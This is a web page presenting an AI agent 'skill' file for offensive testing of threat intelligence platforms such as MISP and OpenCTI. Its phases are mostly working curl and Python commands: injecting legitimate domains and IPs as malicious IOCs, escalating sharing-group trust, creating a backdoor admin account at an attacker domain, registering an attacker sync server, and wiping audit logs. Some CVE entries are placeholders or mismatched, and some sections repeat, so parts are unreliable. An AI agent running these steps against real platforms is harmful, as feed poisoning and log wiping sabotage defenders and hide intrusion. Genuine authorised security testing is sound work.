Threat intel platform attack

From brucesongs/kali-claw · View interactive version

Threat intel platform attack is an AI agent skill from the GitHub repository brucesongs/kali-claw. Attacking threat intelligence platforms (MISP, OpenCTI, Anomali ThreatStream, ThreatQuotient, ThreatConnect, IBM Threat Intel, Palo Alto AutoFocus, Mandiant Advantage). Covers platform CVEs (MISP CVE-2022-29527, OpenCTI vulnerabilities), API abuse, sharing-group trust abuse, false-positive IOC injec

How to use this skill

Skill file

Threat Intel Platform Attack

Summary

Threat intelligence platforms (MISP, OpenCTI, Anomali, ThreatQuotient, ThreatConnect, IBM Threat Intel, Palo Alto AutoFocus, Mandiant Advantage) are high-value targets: they aggregate IOCs, adversary TTPs, sharing-group trust relationships, and often feed defensive products (firewalls, SIEMs, EDRs). This domain covers offensive testing of TI platforms: platform-specific CVEs (MISP CVE-2022-29527, OpenCTI GraphQL injection), API abuse (write access to IOC databases), sharing-group trust abuse (escalating trust levels, claiming false attribution), false-positive IOC injection (poisoning feeds to disrupt defensive operations), STIX/TAXII feed manipulation, and supply-chain attacks via poisoned TI feeds. Includes operator playbooks for TI platform security validation, IOC sharing abuse simulation, and APT feed-poisoning emulation.

Key Terms

Scope

This skill covers offensive testing of TI platforms:

Out of scope: TI platform deployment (defensive), TI analysis (defensive), attribution analysis (academic).

Use Cases

Core Tools

| Tool | Purpose |

|------|---------|

| MISP | Open-source TI platform (most common target) |

| OpenCTI | Open-source TI platform (GraphQL-based) |

| curl | HTTP API testing |

| python3 | Scripting for STIX / TAXII |

| jq | JSON processing for STIX bundles |

| burpsuite | Web proxy for API testing |

| zaproxy | Open-source web proxy |

| nuclei | CVE scanner with TI platform templates |

| sqlmap | SQL injection automation |

| stix2 | Python library for STIX 2.x |

| taxii2-client | Python TAXII 2.x client |

| gh | GitHub CLI (for feed source code review) |

| mitre-attack-python | MITRE ATT&CK integration |

Methodology

Phase 1 — Recon

Map the TI platform's external surface:

# Identify MISP instance
curl -sI https://misp.example.com/ | head -5
curl -s https://misp.example.com/servers/checkVersion | jq .

# Identify OpenCTI instance
curl -s https://opencti.example.com/graphql -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ settings { id } }"}'

# Identify Anomali ThreatStream
curl -sI https://ui.threatstream.com/

# Check exposed headers
curl -sI https://misp.example.com/ | grep -iE "server:|x-powered-by:|set-cookie:"

Phase 2 — CVE scanning

# Nuclei templates for TI platforms
nuclei -u https://misp.example.com/ -t exposures/configs/misp-config.yaml
nuclei -u https://opencti.example.com/ -t cves/2022/CVE-2022-29527.yaml

# MISP version check
curl -s https://misp.example.com/servers/checkVersion | jq -r '.version'

# OpenCTI version check
curl -s https://opencti.example.com/graphql \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ appInformation { version } }"}'

Phase 3 — API security testing

# Test MISP API
curl -s https://misp.example.com/events/index \
  -H "Authorization: $API_KEY" \
  -H "Accept: application/json" | jq .

# Test OpenCTI GraphQL
curl -s https://opencti.example.com/graphql \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ events { edges { node { id name } } } }"}' | jq .

# Test for over-permissioned tokens
# (read-only token trying write operations)
curl -s -X POST https://opencti.example.com/graphql \
  -H "Authorization: Bearer $READ_ONLY_TOKEN" \
  -d '{"query":"mutation { reportCreate(input: {name: \"test\"}) { id } }"}'

Phase 4 — STIX/TAXII feed manipulation

# Subscribe to TAXII feed
python3 << EOF
from taxii2client.v20 import Collection
collection = Collection("https://example.com/taxii/collections/123/", user="user", password="pass")
objects = collection.get_objects()
print(len(objects["objects"]))
EOF

# Inject malicious STIX bundle
python3 << EOF
from stix2 import Indicator, Bundle, MemoryStore
indicator = Indicator(
    pattern="[ipv4-addr:value = '8.8.8.8']",  # legitimate-looking target
    pattern_type="stix",
    labels=["malicious-activity"],
    description="False positive injection",
    confidence=95
)
bundle = Bundle(objects=[indicator])
print(bundle.serialize(pretty=True))
EOF

Phase 5 — Sharing-group trust abuse

# Enumerate sharing groups
curl -s https://misp.example.com/sharingGroups/index \
  -H "Authorization: $API_KEY" | jq '.[].SharingGroup'

# Attempt trust escalation (add self to higher-trust group)
curl -s -X POST https://misp.example.com/sharingGroups/addOrg/$GROUP_ID \
  -H "Authorization: $API_KEY" \
  -d "org_id=$MY_ORG&extend=1"

# Test TLP enforcement
curl -s -X POST https://misp.example.com/events/add \
  -H "Authorization: $LOW_TRUST_KEY" \
  -d "distribution=4&sharing_group_id=$RESTRICTED_GROUP"  # should fail

Phase 6 — False-positive IOC injection

# Inject legitimate infrastructure as malicious IOC
python3 << EOF
import requests
headers = {"Authorization": API_KEY}
# Mark Google DNS as malicious
data = {
    "category": "Network activity",
    "type": "ip-dst",
    "value": "8.8.8.8",
    "comment": "Suspected APT29 infra",
    "to_ids": True,
    "distribution": 0  # all communities
}
r = requests.post("https://misp.example.com/attributes/add/EVENT_ID",
                   headers=headers, json=data)
print(r.json())
EOF

Phase 7 — Supply-chain pivot

# Identify downstream consumers
curl -s https://misp.example.com/servers/index \
  -H "Authorization: $API_KEY" | jq '.[].Server.url'

# If feed consumer (firewall, SIEM, EDR) trusts the TI feed,
# false-positive IOCs will block legitimate traffic

Phase 8 — Persistence

# Backdoor account creation
curl -s -X POST https://misp.example.com/admin/users/add \
  -H "Authorization: $ADMIN_KEY" \
  -d "email=backdoor@attacker.com&role_id=4&password=..."

# C2 server registration (MISP sync)
curl -s -X POST https://misp.example.com/servers/add \
  -H "Authorization: $ADMIN_KEY" \
  -d "url=https://attacker-misp.example.com&authkey=..."

Phase 9 — Cleanup

# Remove backdoor
curl -s -X POST https://misp.example.com/users/delete/$BACKDOOR_ID \
  -H "Authorization: $ADMIN_KEY"

# Wipe audit logs
curl -s -X POST https://misp.example.com/admin/logs/deleteAll \
  -H "Authorization: $ADMIN_KEY"

Phase 10 — Reporting

Produce TI platform security report:

Practical Steps

Step 1 — MISP recon

# Version check
curl -s https://misp.example.com/servers/checkVersion | jq .

# Public endpoints
curl -s https://misp.example.com/events/hids/e967da72-1dad-41ae-89b3-ee3d0c4b4e45

# Galaxies / Taxonomies available
curl -s https://misp.example.com/galaxies.json | jq '.[].name'

Step 2 — MISP API testing

# List events
curl -s https://misp.example.com/events/index \
  -H "Authorization: $API_KEY" \
  -H "Accept: application/json" | jq '.[0].Event.info'

# Search attributes
curl -s -X POST https://misp.example.com/attributes/restSearch \
  -H "Authorization: $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"value":"%example.com%","type":"domain"}' | jq .

Step 3 — OpenCTI GraphQL testing

# Test introspection
curl -s https://opencti.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}' | jq .

# Test for IDOR (iterate IDs)
for id in $(seq 1 100); do
  curl -s https://opencti.example.com/graphql \
    -H "Authorization: Bearer $TOKEN" \
    -d "{\"query\":\"{ report(id: \\\"$id\\\") { name } }\"}" | jq -r '.data.report.name' 2>/dev/null
done

Step 4 — STIX/TAXII testing

# Discover collections
python3 << EOF
from taxii2client.v20 import Server
server = Server("https://example.com/taxii/", user="user", password="pass")
for api_root in server.api_roots:
    print(api_root.title)
    for collection in api_root.collections:
        print(f"  {collection.title}")
EOF

Step 5 — False-positive IOC injection

python3 << EOF
import requests

API_URL = "https://misp.example.com/attributes/add/EVENT_ID"
HEADERS = {"Authorization": "REPLACE_WITH_YOUR_KEY", "Accept": "application/json"}

# Inject 100 legitimate domains as malicious
legit_domains = ["google.com", "amazonaws.com", "cloudfront.net", "githubusercontent.com"]
for d in legit_domains:
    data = {
        "category": "Network activity",
        "type": "domain",
        "value": d,
        "comment": "Suspected APT C2",
        "to_ids": True,
        "distribution": 0
    }
    r = requests.post(API_URL, headers=HEADERS, json=data)
    print(f"{d}: {r.json().get('errors', 'OK')}")
EOF

Defense Perspective

Defenders must assume:

  1. TI platforms aggregate high-value data — one compromise exposes all feeds
  2. API keys are over-permissioned — most users have read+write when read suffices
  3. Sharing-group trust can be abused — escalate via social engineering or compromised creds
  4. STIX/TAXII feeds can be poisoned — false-positive IOCs cause defensive disruption
  5. TLP enforcement is often weak — TLP:AMBER+ shared more broadly than intended
  6. Audit logs are revocable — admins can wipe their own tracks
  7. Sync servers expose keys — sync config contains remote API key
  8. TI platforms are dual-use — defender tool, but also adversary intelligence

Key defensive controls:

Platform Vulnerability Cheat Sheet

| Platform | CVE | Impact | CVSS |

|----------|-----|--------|------|

| MISP | CVE-2022-29527 | XSS in event report | 6.1 |

| MISP | CVE-2022-29528 | CSRF in sharing group | 6.5 |

| MISP | CVE-2023- cand | SQLi in attribute search | 9.8 |

| OpenCTI | CVE-2023- cand | GraphQL injection | 8.6 |

| OpenCTI | CVE-2024- cand | SSRF in import | 7.5 |

| Anomali | CVE-2022-29531 | SSRF | 7.5 |

| ThreatQuotient | CVE-2023- cand | Auth bypass | 9.1 |

| Palo Alto AutoFocus | (vendor advisory) | XSS | 5.4 |

Engagement Workflow

  1. Scope — confirm target TI platform, allowed CVEs, allowed techniques
  2. Recon — version check, exposed endpoints, sharing-group enumeration
  3. CVE testing — Nuclei scan, manual exploitation
  4. API testing — token audit, permission testing, GraphQL injection
  5. Feed testing — STIX/TAXII manipulation, false-positive injection
  6. Trust abuse — sharing-group escalation, TLP enforcement
  7. Reporting — vulnerabilities, abuse paths, recommendations

Lab Setup

# MISP Docker
docker run -d -p 443:443 -p 80:80 -e HOSTNAME=https://localhost \
  -e MYSQL_ROOT_PASSWORD=misp \
  harvarditsecurity/misp-docker

# OpenCTI Docker
git clone https://github.com/OpenCTI-Platform/opencti
cd opencti
docker compose up -d

# Anomali ThreatStream community edition
# ThreatQuotient — request trial

Quality Checklist

Detection Methods

TIP Audit

SIEM Detection Rules

Defense Evasion Techniques

TIP Compromise Stealth

Indicator Injection Stealth

References

Platform Quick Reference

| Platform | Type | Default Port | Auth Method | Common CVE |

|----------|------|--------------|-------------|------------|

| MISP | Open source | 443 | API key | CVE-2022-29527 (XSS) |

| OpenCTI | Open source | 4000 | JWT | SSRF in import |

| Anomali ThreatStream | SaaS | 443 | API key | CVE-2022-29531 |

| ThreatQuotient | Commercial | 443 | Token | Auth bypass CVE-2023 |

| ThreatConnect | SaaS (Cisco) | 443 | API key | Various |

| Palo Alto AutoFocus | SaaS | 443 | API key | XSS in metadata |

| Mandiant Advantage | SaaS | 443 | JWT | GraphQL issues |

| IBM X-Force | SaaS | 443 | Basic auth | Over-permission |

Attack Surface Map

| Surface | Test |

|---------|------|

| Web UI | XSS, CSRF, auth bypass |

| REST API | IDOR, over-permission, rate limits |

| GraphQL | Introspection, injection, IDOR |

| STIX/TAXII | Source signing, bundle forgery |

| Sync server | Persistence, false-positive propagation |

| Audit logs | Tampering, immutability |

| Sharing groups | Trust escalation, TLP enforcement |

| OSINT feeds | Source poisoning |

MITRE ATT&CK Mapping

| Technique | ID | Application |

|-----------|----|-------------|

| Valid Accounts | T1078 | Compromised TI platform creds |

| Exploit Public-Facing App | T1190 | CVE exploitation |

| Unsecured Credentials | T1552 | Sync server auth keys |

| Phishing | T1566 | TI platform admin phishing |

| Modify Cloud Compute | T1578 | Cloud TI platform tampering |

| Impair Defenses | T1562 | TI platform data manipulation |

| System Information Discovery | T1082 | TI data exfil for recon |

| Data from Information Repositories | T1213 | TI data exfil |

Threat Actor Profiles

| Actor | Type | TI platform abuse pattern |

|-------|------|---------------------------|

| APT29 / NOBELIUM | State (Russia) | Compromised TI creds for C2 hiding |

| APT41 / BARIUM | State (China) | OSINT feed poisoning |

| UNC5537 | Cybercrime | Infostealer → TI creds → Snowflake |

| FIN6 / FIN7 | Cybercrime | ThreatStream API abuse |

| Vice Society | Cybercrime | MISP false-positive injection |

Lab Setup

# MISP Docker
docker run -d -p 443:443 -p 80:80 \
  -e HOSTNAME=https://localhost \
  -e MYSQL_ROOT_PASSWORD=misp \
  harvarditsecurity/misp-docker

# OpenCTI Docker
git clone https://github.com/OpenCTI-Platform/opencti
cd opencti && docker compose up -d

# STIX tools
pip install stix2 taxii2-client

Engagement Workflow

  1. Scope — confirm target TI platform, allowed CVEs, allowed techniques
  2. Recon — version check, exposed endpoints, sharing-group enumeration
  3. CVE testing — Nuclei scan, manual exploitation
  4. API testing — token audit, permission testing, GraphQL injection
  5. Feed testing — STIX/TAXII manipulation, false-positive injection
  6. Trust abuse — sharing-group escalation, TLP enforcement
  7. Reporting — vulnerabilities, abuse paths, recommendations

Compliance Context

Quality Checklist

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.